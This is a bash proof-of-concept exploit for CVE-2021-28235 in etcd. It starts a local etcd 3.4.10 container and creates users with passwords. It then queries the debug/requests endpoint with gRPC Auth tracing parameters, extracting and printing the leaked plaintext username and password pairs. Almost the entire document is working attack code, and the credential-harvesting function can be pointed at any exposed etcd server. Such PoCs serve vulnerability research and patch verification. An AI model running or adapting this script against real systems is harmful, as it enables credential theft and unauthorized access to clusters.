#! /bin/bash # Archived for authorized security research only. # Source: https://github.com/h3ck13r/CVE-2021-28235 (see README for attribution/license) ETCD_VER=v3.4.10 ETCD_DIR=/tmp/etcd-data.tmp ETCD_DEBUG_PATH="debug/requests" ETCD_AUTH_DEBUG_PATH="?fam=grpc.Recv.Auth&b=1&exp=1" RED=$'\e[0;31m' GREEN=$'\e[0;32m' BLUE=$'\e[0;34m' RST=$'\e[0m' start_etcd() { printf "%s[*]%s Spinning up a etcd-gcr-${ETCD_VER} docker container\n" "$BLUE" "$RST" mkdir -p -m700 "$ETCD_DIR" docker run \ --user "$(id -u)":"$(id -g)" \ -p 2379:2379 -p 2380:2380 -d \ --mount type=bind,source=/tmp/etcd-data.tmp,destination=/etcd-data \ --name etcd-gcr-"${ETCD_VER}" gcr.io/etcd-development/etcd:"${ETCD_VER}" \ /usr/local/bin/etcd \ --name s1 --data-dir /etcd-data \ --listen-client-urls http://0.0.0.0:2379 \ --advertise-client-urls http://0.0.0.0:2379 \ --listen-peer-urls http://0.0.0.0:2380 \ --initial-advertise-peer-urls http://0.0.0.0:2380 \ --initial-cluster s1=http://0.0.0.0:2380 \ --initial-cluster-token tkn \ --initial-cluster-state new \ --log-level=debug --debug \ --logger zap \ --log-outputs stderr } bootstrap_etcd() { ETCD_CTL="/usr/local/bin/etcdctl" printf "%s[*]%s Populating etcd with data\n" "$BLUE" "$RST" printf "%s[*]%s Adding root user and role\n" "$BLUE" "$RST" docker container exec etcd-gcr-"${ETCD_VER}" "${ETCD_CTL}" user add root:root docker container exec etcd-gcr-"${ETCD_VER}" "${ETCD_CTL}" role add root docker container exec etcd-gcr-"${ETCD_VER}" "${ETCD_CTL}" user grant-role root root sleep 3 printf "%s[*]%s Put data and enable etcd auth\n" "$BLUE" "$RST" docker container exec etcd-gcr-"${ETCD_VER}" "${ETCD_CTL}" put pwn etcd docker container exec etcd-gcr-"${ETCD_VER}" "${ETCD_CTL}" auth enable docker container exec etcd-gcr-"${ETCD_VER}" "${ETCD_CTL}" get pwn --user=root --password=root sleep 3 printf "%s[*]%s Add admin user and grant root role\n" "$BLUE" "$RST" docker container exec etcd-gcr-"${ETCD_VER}" "${ETCD_CTL}" user add admin:admin_pass --user=root --password=root docker container exec etcd-gcr-"${ETCD_VER}" "${ETCD_CTL}" user grant-role admin root --user=root --password=root docker container exec etcd-gcr-"${ETCD_VER}" "${ETCD_CTL}" get pwn --user=admin --password=admin_pass sleep 3 } get_etcd_passwords() { printf "%s[*]%s Checking etcd API\n" "$BLUE" "$RST" curl http://127.0.0.1:2379/version && echo curl http://127.0.0.1:2379/health && echo declare -A hash_table local creds creds="$(curl --silent http://127.0.0.1:2379/"${ETCD_DEBUG_PATH}${ETCD_AUTH_DEBUG_PATH}" | grep password)" echo "$creds" &>/dev/null if [ "$?" -eq 0 ]; then printf "%s[+]%s Credentials leaked!\n" "$GREEN" "$RST" cleared_creds=$(echo "$creds" | sed 's|"|"|g' | tr -d '[:blank:]') printf "%s[+]%s Collecting creds...\n" "$GREEN" "$RST" while IFS= read -r line; do cleared_username=$(echo "$line" | sed -nE 's|.+name:"([^"]+)".+|\1|p') cleared_password=$(echo "$line" | sed -nE 's|.+password:"([^"]+)".+|\1|p') hash_table["$cleared_username"]="$cleared_password" done <<<"$cleared_creds" printf "USERNAME PASSWORD\n" for entry in "${!hash_table[@]}"; do printf "%s[+]%s Dumped credentials pair!\n" "$GREEN" "$RST" echo "$entry ${hash_table[$entry]}" sleep 1 done elif [ "$?" -eq 1 ]; then printf "%s[-]%s No credentials leaked\n" "$RED" "$RST" fi } cleanup() { printf "%s[*]%s Cleaning up...\n" "$BLUE" "$RST" rm -rf "$ETCD_DIR" docker container stop etcd-gcr-"${ETCD_VER}" 2>/dev/null docker container rm etcd-gcr-"${ETCD_VER}" 2>/dev/null docker image rm gcr.io/etcd-development/etcd:"${ETCD_VER}" 2>/dev/null } printf "%s[*]%s CVE-2021-28235 PoC\n" "$BLUE" "$RST" cleanup start_etcd && sleep 1 bootstrap_etcd && sleep 1 get_etcd_passwords && sleep 1 cleanup